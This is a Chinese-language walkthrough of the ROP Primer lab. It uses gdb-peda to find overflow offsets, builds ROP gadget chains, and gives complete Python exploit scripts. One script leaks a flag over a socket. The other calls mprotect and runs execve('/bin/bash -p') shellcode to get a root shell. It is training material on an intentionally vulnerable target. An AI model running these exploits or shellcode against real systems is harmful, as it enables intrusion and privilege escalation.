AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
gdb-peda$ r
Starting program: /home/kali/LPT_day3/level1
[Thread debugging using libthread_db enabled]
攻擊機視窗B:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# nc localhost 8888
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
> store
Please, how many bytes is your file?
> 101
Please, send your file:
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
每次需要輸入就在視窗B輸入視窗A的pattern,輸了兩次以後,可以發現視窗A變化:
[Inferior 1 (process 125068) detached]
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Thread 2.1 "level1" received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0xf7fc2500 (LWP 125110)]
────────────────────────────────── Registers ───────────────────────────────────
EAX: 0xffffffff
EBX: 0xf7e1cff4 --> 0x21cd8c
ECX: 0x80490d8 (" XERXES wishes you\n a NICE day.\n")
EDX: 0xffffffb4
ESI: 0x8048ea0 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcb80 --> 0x0
EBP: 0x48414132 ('2AAH')
ESP: 0xffffd450 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
EIP: 0x41644141 ('AAdA')
EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
───────────────────────────────────── Code ─────────────────────────────────────
Invalid $PC address: 0x41644141
──────────────────────────────────── Stack ─────────────────────────────────────
0000| 0xffffd450 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0004| 0xffffd454 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\n")
0008| 0xffffd458 ("AA4AAJAAfAA5AAKAAgAA6AAL\n")
0012| 0xffffd45c ("AJAAfAA5AAKAAgAA6AAL\n")
0016| 0xffffd460 ("fAA5AAKAAgAA6AAL\n")
0020| 0xffffd464 ("AAKAAgAA6AAL\n")
0024| 0xffffd468 ("AgAA6AAL\n")
0028| 0xffffd46c ("6AAL\n")
────────────────────────────────────────────────────────────────────────────────
Legend: code, data, rodata, heap, value
Stopped reason: SIGSEGV
輸入指令,算出可以蓋掉EIP的offset是多少:
gdb-peda$ pattern_offset 0x41644141
1097089345 found at offset: 64
換靶機的cmd:
level1@rop:~$ gdb -q ./level1
Reading symbols from ./level1...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048d1c
gdb-peda$ r
Starting program: /home/level1/level1
[----------------------------------registers-----------------------------------]
EAX: 0x1
EBX: 0xb7fd0000 --> 0x1aada8
ECX: 0x759f7f5f
EDX: 0xbffff724 --> 0xb7fd0000 --> 0x1aada8
ESI: 0x0
EDI: 0x0
EBP: 0xbffff6f8 --> 0x0
ESP: 0xbffff6f8 --> 0x0
EIP: 0x8048d1c (<main+3>: and esp,0xfffffff0)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x8048d18 <handle_conn+1027>: ret
0x8048d19 <main>: push ebp
0x8048d1a <main+1>: mov ebp,esp
=> 0x8048d1c <main+3>: and esp,0xfffffff0
0x8048d1f <main+6>: sub esp,0x30
0x8048d22 <main+9>: mov DWORD PTR [esp+0x2c],0xffffffff
0x8048d2a <main+17>: mov DWORD PTR [esp+0x28],0xffffffff
0x8048d32 <main+25>: mov DWORD PTR [esp+0x8],0x0
[------------------------------------stack-------------------------------------]
0000| 0xbffff6f8 --> 0x0
0004| 0xbffff6fc --> 0xb7e3ea83 (<__libc_start_main+243>: mov DWORD PTR [esp],eax)
0008| 0xbffff700 --> 0x1
0012| 0xbffff704 --> 0xbffff794 --> 0xbffff8b4 ("/home/level1/level1")
0016| 0xbffff708 --> 0xbffff79c --> 0xbffff8c8 ("XDG_SESSION_ID=4")
0020| 0xbffff70c --> 0xb7feccea (add ebx,0x12316)
0024| 0xbffff710 --> 0x1
0028| 0xbffff714 --> 0xbffff794 --> 0xbffff8b4 ("/home/level1/level1")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048d1c in main ()
gdb-peda$ find "flag"
Searching for 'flag' in: None ranges
Found 13 results, display max 13 items:
level1 : 0x8049128 ("flag")
level1 : 0x804a128 ("flag")
libc : 0xb7e33537 ("flags")
libc : 0xb7e35de1 ("flags")
libc : 0xb7e3620a ("flags")
libc : 0xb7f83320 ("flags")
libc : 0xb7f863f5 ("flags2 & 4")
libc : 0xb7f88245 ("flags")
libc : 0xb7f88d6f ("flags & 0x4)")
ld-2.19.so : 0xb7ff8750 ("flag & 0100) == 0")
ld-2.19.so : 0xb7ff91e2 ("flag value(s) of 0x%x in DT_FLAGS_1.\n")
ld-2.19.so : 0xb7ff9aeb ("flags & ~(DL_LOOKUP_ADD_DEPENDENCY | DL_LOOKUP_GSCOPE_LOCK)) == 0")
ld-2.19.so : 0xb7ffa576 ("flags_1 & 0x00000008) == 0")
尋找可用rop:
gdb-peda$ ropgadget
ret = 0x804851c
popret = 0x8048e93
pop2ret = 0x8048ef7
pop3ret = 0x8048ef6
pop4ret = 0x8048ef5
leaveret = 0x8048610
addesp_44 = 0x8048ef2
gdb-peda$ p open
$1 = {<text variable, no debug info>} 0xb7f00060 <open>
gdb-peda$ p write
$2 = {<text variable, no debug info>} 0xb7f00570 <write>
gdb-peda$ p read
$3 = {<text variable, no debug info>} 0xb7f004f0 <read>
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x0804a000 r-xp /home/level1/level1
0x0804a000 0x0804b000 rw-p /home/level1/level1
0xb7e24000 0xb7e25000 rw-p mapped
0xb7e25000 0xb7fce000 r-xp /lib/i386-linux-gnu/libc-2.19.so
0xb7fce000 0xb7fd0000 r--p /lib/i386-linux-gnu/libc-2.19.so
0xb7fd0000 0xb7fd1000 rw-p /lib/i386-linux-gnu/libc-2.19.so
0xb7fd1000 0xb7fd4000 rw-p mapped
0xb7fdb000 0xb7fdd000 rw-p mapped
0xb7fdd000 0xb7fde000 r-xp [vdso]
0xb7fde000 0xb7ffe000 r-xp /lib/i386-linux-gnu/ld-2.19.so
0xb7ffe000 0xb7fff000 r--p /lib/i386-linux-gnu/ld-2.19.so
0xb7fff000 0xb8000000 rw-p /lib/i386-linux-gnu/ld-2.19.so
0xbffdf000 0xc0000000 rw-p [stack]
在攻擊機上編輯level1_rop_01.py,內容如下: (要注意,p open/write/read的輸出在攻擊機跟靶機是不一樣的,要用靶機輸出的值)。
import struct
import telnetlib
def p(x):
return struct.pack('<L', x)
open = 0xb7f00060
read = 0xb7f004f0
write = 0xb7f00570
flag = 0x8049128
pop2ret = 0x8048ef7
pop3ret = 0x8048ef6
payload = "A" * 64
#open flag
payload += p(open)
payload += p(pop2ret)
payload += p(flag) #pathname
payload += p(0x0) #flags
#read flag
payload += p(open)
payload += p(pop3ret)
payload += p(0x3) #0:stdin 1:stdout 2:stderr 3:flag 4:socket
payload += p(0x0804a000) #buf
payload += p(0x80) #nbyte
#write it to the connected socket
payload += p(write)
payload += "FAKE"
payload += p(0x4) #fd
payload += p(0x0804a000) #buf
payload += p(0x80) #count
tn = telnetlib.Telnet("192.168.18.195", 8888)
#send store sommand
print tn.read_until("> ")
tn.write("store\n")
#send file size
print tn.read_until("> ")
tn.write("%d\n" %(len(payload) + 1))
#send file content
print tn.read_until("> ")
tn.write(payload + "\n")
#send file name
print tn.read_until("> ")
tn.write(payload)
print tn.read_all()
在攻擊機上執行:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# python2 level1_rop_01.py
Welcome to
XERXES File Storage System
available commands are:
store, read, exit.
>
Please, how many bytes is your file?
>
Please, send your file:
>
XERXES is pleased to inform you
that your file was received
most successfully.
Please, give a filename:
>
flag{just_one_rop_chain_a_day_keeps_the_doctor_away}
RXES regrets to inform you
that an error occurred
while receivi
換level2:
aaa
level2@rop:~$ gdb -q ./level2
Reading symbols from ./level2...(no debugging symbols found)...done.
gdb-peda$ checksec level2
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : disabled
aaa
現在想找多少偏移可控制EIP,但gdb-peda的pattern create如果設的數字太大會有括號,造成錯誤:
gdb-peda$ pattern_create 500
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA'
gdb-peda$ r AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA
Starting program: /home/level2/level2 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA
/bin/bash: -c: line 0: syntax error near unexpected token `('
/bin/bash: -c: line 0: `exec /home/level2/level2 AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAnAASAAoAATAApAAUAAqAAVAArAAWAAsAAXAAtAAYAAuAAZAAvAAwAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%LA%hA%7A%MA%iA%8A%NA%jA%9A%OA%kA%PA%lA%QA%mA%RA%nA%SA%oA%TA%pA%UA%qA%VA%rA%WA%sA%XA%tA%YA%uA%ZA%vA%wA%xA%yA%zAs%AssAsBAs$AsnAsCAs-As(AsDAs;As)AsEAsaAs0AsFAsbAs1AsGAscAs2AsHAsdAs3AsIAseAs4AsJAsfA'
During startup program exited with code 1.
所以在攻擊機上用pwn tool的cyclic來生成。
攻擊機:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
靶機:
gdb-peda$ r aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
Starting program: /home/level2/level2 aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab!
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x0
ECX: 0xbffff5cc --> 0x80ca4c0 --> 0xfbad2a84
EDX: 0x80cb430 --> 0x0
ESI: 0x80488f0 (<__libc_csu_fini>: push ebp)
EDI: 0xc5809f12
EBP: 0x6161616b ('kaaa')
ESP: 0xbffff620 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
EIP: 0x6161616c ('laaa')
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x6161616c
[------------------------------------stack-------------------------------------]
0000| 0xbffff620 ("maaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0004| 0xbffff624 ("naaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0008| 0xbffff628 ("oaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0012| 0xbffff62c ("paaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0016| 0xbffff630 ("qaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0020| 0xbffff634 ("raaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0024| 0xbffff638 ("saaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
0028| 0xbffff63c ("taaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x6161616c in ?? ()
攻擊機算可蓋掉EIP的offset
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# cyclic -l 0x6161616c
44
由于是 strcpy 函数,在拷贝时会以 0x00 字节为结束符。这就提示我们,当我们打入的 payload 中间含有 0x00 字符时,其后的 payload 则不会顺利拷贝,从而导致无法正常执行获取shell
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level2/level2
0x080ca000 0x080cb000 rw-p /home/level2/level2
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffe000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xc0000000 rw-p [stack]
要注意base address是上圖的0x08048000,而下圖的base address是0,所以等一下寫code要注意加回去(下面python程式的c(x)函式)
我们需要从标准输入中读取shellcode,为了执行,需要按如下方式布置寄存器。
eax = 3, ebx = 0, ecx = 0x80ca000, edx = 128
实现 edx = 0x7 的思想:先pop edx,接下來在栈上放 0xffffffff,再inc edx 8次。
code如下:
import struct
def p(x):
return struct.pack('<L', x)
#convert offset to absolute address
def c(x):
return p(0x08048000 + x)
payload = "A" * 44
#mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
#edx = 7
payload += c(0x0000a476) #pop edx; ret
payload += p(0xffffffff) #edx
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
#ebx = 0xbffdf000 ecx = 01010101
payload += c(0x0000a49d) #pop ecx; pop ebx; ret
payload += p(0x01010101) #ecx
payload += p(0xbffdf001) #ebx = 0xbffdf000 + 1
payload += c(0x00007871) #dec ebx; ret
# Return into MPROTECT
payload += p(0x0805229d) # MPROTECT + 13
payload += p(0x41414141) # Junk used by mprotect 'pop ebx'
payload += p(0x42424242) # crash!!
print payload
接下來就是在r旁邊餵入python程式產生的輸出:
gdb-peda$ r `python level2_rop_02.py`
Starting program: /home/level2/level2 `python level2_rop_02.py`
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒q▒AAAABBBB!
Program received signal SIGSEGV, Segmentation fault.
xterm-256colorxterm-256colorxterm-256color[----------------------------------registers-----------------------------------]
EAX: 0xffffffff
EBX: 0x41414141 ('AAAA')
ECX: 0x1010101
EDX: 0x7
ESI: 0x80488f0 (<__libc_csu_fini>: push ebp)
EDI: 0x300d1b7a
EBP: 0x41414141 ('AAAA')
ESP: 0xbffff6c0 --> 0x0
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10217 (CARRY PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xbffff6c0 --> 0x0
0004| 0xbffff6c4 --> 0x0
0008| 0xbffff6c8 --> 0x0
0012| 0xbffff6cc --> 0x300d1b7a
0016| 0xbffff6d0 --> 0x0
0020| 0xbffff6d4 --> 0x0
0024| 0xbffff6d8 --> 0x0
0028| 0xbffff6dc --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$ vmmap
Start End Perm Name
0x08048000 0x080ca000 r-xp /home/level2/level2
0x080ca000 0x080cb000 rw-p /home/level2/level2
0x080cb000 0x080ef000 rw-p [heap]
0xb7ffe000 0xb7fff000 rw-p mapped
0xb7fff000 0xb8000000 r-xp [vdso]
0xbffdf000 0xbffdf000 rw-p mapped
0xbffdf000 0xc0000000 rwxp [stack]
使用objdump,把所有組合語言dump出來:
┌──(root㉿kali)-[/home/kali/LPT_day3]
└─# objdump -d level2
level2: file format elf32-i386
Disassembly of section .init:
再利用ropshell跟剛剛dump出來的組合語言來找gadget:
ropshell.com : 0x00027b4c : mov eax, edx; ret
,0x00027b4c+0x08048000 = 0x0806fb4c。
objdump -d level 2: 806fb4c: 89 d0 mov %edx,%eax
根據以上資訊跟其他ropshell找到的資訊寫程式:
import struct
def p(x):
return struct.pack('<L', x)
#convert offset to absolute address
def c(x):
return p(0x08048000 + x)
def write_to_mem(addr, val):
g = ""
g += c(0x0000a476) # pop edx; ret
g += p(val) # value to write
g += c(0x00027b4c) # mov eax, edx
g += c(0x0000a476) # pop edx
g += p(addr) # address to write to
g += c(0x00030e71) # mov edx,eax (copy memory)
return g
payload = "A" * 44
#mprotect(0x080ca000, 128, PROT_READ|PROT_WRITE|PROT_EXEC)
#edx = 7
payload += c(0x0000a476) #pop edx; ret
payload += p(0xffffffff) #edx
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
payload += c(0x00006da1) #inc edx; add al, 0x83; ret
#ebx = 0xbffdf000 ecx = 01010101
payload += c(0x0000a49d) #pop ecx; pop ebx; ret
payload += p(0x01010101) #ecx
payload += p(0xbffdf001) #ebx = 0xbffdf000 + 1
payload += c(0x00007871) #dec ebx; ret
# Return into MPROTECT
payload += p(0x0805229d) # MPROTECT + 13
payload += p(0x41414141) # Junk used by mprotect 'pop ebx'
#payload += p(0x42424242) # crash!!
# Write our shellcode to the stack
payload += write_to_mem(0xbffdf040, 0x99580b6a)
payload += write_to_mem(0xbffdf044, 0x2d686652)
payload += write_to_mem(0xbffdf048, 0x52e18970)
payload += write_to_mem(0xbffdf04c, 0x2f68686a)
payload += write_to_mem(0xbffdf050, 0x68736162)
payload += write_to_mem(0xbffdf054, 0x6e69622f)
payload += write_to_mem(0xbffdf058, 0x5152e389)
payload += write_to_mem(0xbffdf05c, 0xcde18953)
payload += write_to_mem(0xbffdf060, 0x80808080)
# Jump to our shellcode
payload += c(0x0000a476) # pop edx
payload += p(0xbffdf040) # address of shellcode
payload += c(0x0003c02f) # jmp edx
print payload
來看看dump出來的一小段:
08078e60 <_dl_get_tls_static_info>:
8078e60: 8b 0d 08 a4 0c 08 mov 0x80ca408,%ecx
8078e66: 55 push %ebp
8078e67: 89 e5 mov %esp,%ebp
8078e69: 89 08 mov %ecx,(%eax)
8078e6b: a1 d0 c4 0c 08 mov 0x80cc4d0,%eax
8078e70: 5d pop %ebp
8078e71: 89 02 mov %eax,(%edx)
8078e73: c3 ret
8078e74: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
8078e7a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi
這是0x08078e71的由來,用ropshell.com找不到,要直接看objdump的結果。
0x08052290 : push ebx
0x08052291 : mov edx,DWORD PTR [esp+0x10]
0x08052295 : mov ecx,DWORD PTR [esp+0xc]
0x08052299 : mov ebx,DWORD PTR [esp+0x8]
0x0805229d : mov eax,0x7d
0x080522a2 : int 0x80
0x080522a4 : pop ebx
0x080522a5 : cmp eax,0xfffff001
0x080522aa : jae 0x8053720 <__syscall_error>
0x080522b0 : ret
以上是mprotect+13 (0x0805229d)的由來
mprotect(const void *start, size_t len, int prot)
mprotect要通过system call来执行,也就是int 0x80
。调用号在x86中是0x7d
,而在x86-64
中是10
。根據上面英文投影片,ebx就是start,ecx是長度,edx是讀寫權限,要設7。因為调用号在x86中是0x7d
,所以是mov eax 0x7d,就是0x0805229d。
如果是objdump結果如下:
08052290 <__mprotect>:
8052290: 53 push %ebx
8052291: 8b 54 24 10 mov 0x10(%esp),%edx
8052295: 8b 4c 24 0c mov 0xc(%esp),%ecx
8052299: 8b 5c 24 08 mov 0x8(%esp),%ebx
805229d: b8 7d 00 00 00 mov $0x7d,%eax
80522a2: cd 80 int $0x80
80522a4: 5b pop %ebx
80522a5: 3d 01 f0 ff ff cmp $0xfffff001,%eax
80522aa: 0f 83 70 14 00 00 jae 8053720 <__syscall_error>
80522b0: c3 ret
80522b1: 90 nop
接下來是真正getshell的惡意程式碼:
08048054 <.text>:
8048054: 6a 0b push $0xb
8048056: 58 pop %eax
8048057: 99 cltd
8048058: 52 push %edx
8048059: 66 68 2d 70 pushw $0x702d
804805d: 89 e1 mov %esp,%ecx
804805f: 52 push %edx
8048060: 6a 68 push $0x68
8048062: 68 2f 62 61 73 push $0x7361622f
8048067: 68 2f 62 69 6e push $0x6e69622f
804806c: 89 e3 mov %esp,%ebx
804806e: 52 push %edx
804806f: 51 push %ecx
8048070: 53 push %ebx
8048071: 89 e1 mov %esp,%ecx
8048073: cd 80 int $0x80
它的真身其實是下面指令的組語:
Linux x86 - execve("/bin/bash", ["/bin/bash", "-p"], NULL) - 33 bytes
執行ROP程式:
level2@rop:~$ ./level2 `python ./level2_rop_02.py`
[+] ROP tutorial level2
[+] Bet you can't ROP me this time around, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAv▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒q▒AAAAvj
X▒Lv@▒▒qvRfh-LvD▒▒qvp▒▒RLvH▒▒qvjhh/LvL▒▒qvbashLvP▒▒qv/binLvT▒▒qv▒▒RQLvX▒▒qvS▒▒▒Lv\▒▒qv▒▒▒▒Lv`▒▒qv@▒▒!@
<256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorid
bash: xterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorxterm-256colorid: command not found
bash-4.3# id
uid=1002(level2) gid=1002(level2) euid=0(root) groups=0(root),1002(level2)
bash-4.3# cat flag
flag{to_rop_or_not_to_rop}
結束。
Reference
ROP Primer - Walkthrough of Level 2 - XPN InfoSec Blog
Linux/x86 - execve(/bin/bash, [/bin/bash, -p], NULL) - 33 bytes
Pwn学习笔记:Rop Primer靶机实战_学逆向论坛|免费的CTF在线练习平台|ctf攻防训练靶场|网安夺旗竞赛系统|软件破解|病毒分析|游戏外挂|视频教程|xuenixiang.com - Powered by Discuz!
Pwn靶机实战——Rop Primer入门ROP-安全客 - 安全资讯平台
https://syscalls32.paolostivanin.com